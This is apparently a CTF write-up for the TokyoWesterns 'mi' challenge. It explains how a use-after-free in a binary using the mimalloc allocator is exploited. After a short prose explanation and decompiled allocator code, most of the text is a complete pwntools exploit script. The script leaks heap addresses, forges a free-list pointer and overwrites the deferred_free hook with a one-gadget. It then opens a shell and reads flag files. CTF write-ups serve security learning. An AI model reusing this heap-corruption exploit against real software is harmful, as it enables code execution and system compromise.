It's a simply UAF heap challenge, but malloc is implemented by libmimalloc.
With a few trys, I find it uses a fastbin-like way to manage freed chunk, but only reuses the chunk in fastbin when I malloc the same size chunk repeatedly some times, so it's easy to leak and modify the next pointer, and the libc and libmimalloc base can be guessed using this leakage (about 1/1024). The most difficult thing is that malloc will memset the chunk before return and the protection is strict so a legal next pointer must locate in the mmaped big chunk.
It seems impossible to malloc arbitrary address because of full prorection, but it's available to malloc address in the mmapd big chunk by fake the next pointer. There are some key values at the head of big chunk. Overwrite it and it crashed in _mi_malloc_generic
when malloc again! Now v28 is an arbitrary value I can control, v13 is the head of mmaped chunk which I modified. It's clear that I can write a qword to an arbitrary address which stores 0 originally at Line 270.
if ( v25 & 0xFFFFFFFFFFFFFFFCLL )
{
v28 = *v27;
if ( *v27 )
{
LOWORD(v29) = 1;
while ( 1 )
{
LOWORD(v29) = v29 + 1;
if ( !*v28 )
break;
v28 = (_QWORD *)*v28;
}
v29 = (unsigned __int16)v29;
}
else
{
v28 = (_QWORD *)(v25 & 0xFFFFFFFFFFFFFFFCLL);
v29 = 1LL;
}
*v28 = *(_QWORD *)(v13 + 8); <==================Line 270
*(_QWORD *)(v13 + 8) = v27;
_InterlockedSub64((volatile signed __int64 *)(v13 + 40), v29);
*(_QWORD *)(v13 + 24) -= v29;
Adjust my payload and make this function return peacefully, at the meantime overwrite deferred_free
function pointer in _mi_malloc_generic
with one gadget, malloc again and get the shell.
++**(_QWORD **)v3;
if ( deferred_free )
deferred_free(0LL);
v4 = (volatile signed __int64 *)(v3 + 2632);
while ( 1 )
{
v5 = (signed __int64 *)*((_QWORD *)v3 + 329);
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level="error"
context.arch="amd64"
pwn_file="./mi"
#elf=ELF(pwn_file)
#heap_add=0
#stack_add=0
times=0
while True:
if len(sys.argv)==1:
r=process(pwn_file)
pid=r.pid
else:
r=remote("mi.chal.ctf.westerns.tokyo",10001)
pid=0
def debug():
log.debug("process pid:%d"%pid)
pause()
def add(idx,size):
r.sendafter(">>","1".ljust(0x1f,"\x00")+str(idx).ljust(0x1f,"\x00")+str(size).ljust(0x1f,"\x00"))
# 0x10390000r.sendlineafter("number",str(idx))
# r.sendlineafter("size",str(size))
def edit(idx,content):
r.sendafter(">>","2".ljust(0x1f,"\x00")+str(idx).ljust(0x1f,"\x00")+content)
# r.sendlineafter("number",str(idx))
# r.sendafter("value",content)
def show(idx):
r.sendlineafter(">>","3")
r.sendlineafter("number\n",str(idx))
return r.recvline()[:-1]
def dele(idx):
r.sendlineafter(">>","4")
r.sendlineafter("number",str(idx))
try:
add(0,0x50)
add(1,0x50)
dele(0)
dele(1)
leak = u64(show(1)+"\x00\x00")
heap_addr = leak-0xa0-0x30-0x15e0
offset = (leak+0x100)&0xffffffffffff0000
#print "offset: ",
delta = 0x10390000
#delta = int(raw_input(),16)
elf_addr = offset + delta
libc_addr = elf_addr + 0x22a000
#pause()
edit(1,p64(offset+0x70)*10)
for i in range(0x30):
add(2,0x50)
add(3,0x50)
edit(3,p64(heap_addr+0x2658)+p64(elf_addr+0x228970)*9)
add(2,0x50)
#print hex(heap_addr)
#print hex(offset)
#print hex(elf_addr)
add(2,0x50)
f = {
0:0,
0x18:p64(libc_addr+0x10a38c),# one gadget
0x28:p64(heap_addr+0x2650),
0x30:p64(0x50),
}
edit(2,fit(f,length=0x50))
add(2,0x50)
r.sendlineafter(">>","1")
r.sendlineafter("number","1")
r.sendlineafter("size","100")
r.sendline("\n\n")
r.sendline("echo 666;ls ; cat fl* ; cat F* ;cat /home/*/f*; cat /f*")
r.recvuntil("666")
r.interactive()
break
except Exception as e:
print "fail",times
times+=1
r.close()